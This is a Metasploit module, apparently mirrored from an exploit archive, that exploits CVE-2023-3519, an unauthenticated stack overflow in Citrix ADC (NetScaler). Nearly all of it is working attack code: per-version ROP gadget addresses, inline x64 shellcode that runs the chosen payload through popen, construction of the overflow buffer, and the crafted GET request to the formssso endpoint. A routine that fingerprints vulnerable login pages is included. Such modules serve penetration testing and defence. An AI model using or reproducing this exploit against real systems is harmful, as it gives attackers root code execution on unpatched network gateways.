Share
## https://sploitus.com/exploit?id=PACKETSTORM:173997
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Citrix ADC (NetScaler) Forms SSO Target RCE',  
'Description' => %q{  
A vulnerability exists within Citrix ADC that allows an unauthenticated attacker to trigger a stack buffer  
overflow of the nsppe process by making a specially crafted HTTP GET request. Successful exploitation results in  
remote code execution as root.  
},  
'Author' => [  
'Ron Bowes', # Analysis and module  
'Douglass McKee', # Analysis and module  
'Spencer McIntyre', # Just the module  
],  
'References' => [  
['CVE', '2023-3519'],  
['URL', 'https://attackerkb.com/topics/si09VNJhHh/cve-2023-3519'],  
['URL', 'https://support.citrix.com/article/CTX561482/citrix-adc-and-citrix-gateway-security-bulletin-for-cve20233519-cve20233466-cve20233467']  
],  
'DisclosureDate' => '2023-07-18',  
'License' => MSF_LICENSE,  
'Platform' => ['unix'],  
'Arch' => [ARCH_CMD],  
'Payload' => {  
# at a certain point too much of the stack will get corrupted, should be less than target['fixup_rsp_adjustment']  
'Space' => 2048,  
'DisableNops' => true  
},  
'Targets' => [  
[  
'Citrix ADC 13.1-48.47',  
{  
'fixup_return' => 0x00782403, # pop rbx; ns_aaa_cookie_valid  
'fixup_rsp_adjustment' => 0x13a8,  
'popen' => 0x01da6340,  
'return' => 0x00611ae9, # jmp rsp; ns_create_cfg_nsp  
'return_offset' => 168  
},  
],  
[  
'Citrix ADC 13.1-37.38',  
{  
'fixup_return' => 0x0077c324, # pop rbx; ns_aaa_cookie_valid  
'fixup_rsp_adjustment' => 0x13a8,  
'popen' => 0x01d7e320,  
'return' => 0x015d131d, # jmp rsp; tfocookie_send_callback  
'return_offset' => 168  
},  
],  
[  
'Citrix ADC 13.0-91.12',  
{  
'fixup_return' => 0x008530a2, # mov rbx, qword [rbp-0x28]; ns_aaa_cookie_valid  
'fixup_rsp_adjustment' => 0x12e0,  
# in this version the epilogue of ns_aaa_cookie_valid reads directly from rbp and since the exploit  
# clobbers it, the value needs to be restored  
'fixup_rbp_adjustment' => 0x190,  
'popen' => 0x01f42ec0,  
'return' => 0x024883bf, # jmp rsp; ns_pixl_eval_nvlist_t_typecast_list_t_dynamic  
'return_offset' => 168  
}  
]  
],  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true,  
'WfsDelay' => 10  
},  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/'])  
])  
end  
  
def check  
res = send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'logon', 'LogonPoint', 'index.html')  
})  
  
return CheckCode::Unknown if res.nil?  
  
return CheckCode::Safe unless res.code == 200 && res.body =~ /<title class="_ctxstxt_NetscalerGateway">/  
  
CheckCode::Detected  
end  
  
def exploit  
shellcode = Metasm::Shellcode.assemble(Metasm::X64.new, Template.render(<<-SHELLCODE, target: target)).encode_string  
call loc_popen_arg1  
; add this to the path for python payloads  
db "export PATH=/var/python/bin:$PATH;"  
db "#{Rex::Text.to_hex(payload.encoded)}", 0  
loc_popen_arg1:  
pop rdi  
  
call loc_popen_arg2  
db "r", 0  
loc_popen_arg2:  
pop rsi  
  
mov rax, <%= target['popen'] %>  
sub rsp, 0x200  
call rax  
  
loc_return:  
xor rax, rax  
add rsp, <%= target['fixup_rsp_adjustment'] + 0x200 %>  
<% if target['fixup_rbp_adjustment'] %>  
mov rbp, rsp  
add rbp, <%= target['fixup_rbp_adjustment'] %>  
<% end %>  
push <%= target['fixup_return'] %>  
ret  
SHELLCODE  
  
buffer = rand_text_alphanumeric(target['return_offset'])  
buffer << [target['return']].pack('Q')  
buffer << shellcode.bytes.map { |b| (b < 0xa0) ? '%%%02x' % b : b.chr }.join  
  
send_request_cgi({  
'uri' => normalize_uri(datastore['TARGETURI'], 'gwtest', 'formssso'),  
'encode_params' => false, # we'll encode them ourselves  
'vars_get' => {  
'event' => 'start',  
'target' => buffer  
}  
})  
end  
  
class Template  
def self.render(template, context = nil)  
case context  
when Hash  
b = binding  
locals = context.collect { |k, _| "#{k} = context[#{k.inspect}]; " }  
b.eval(locals.join)  
when NilClass  
b = binding  
else  
raise ArgumentError  
end  
  
b.eval(Erubi::Engine.new(template).src)  
end  
end  
end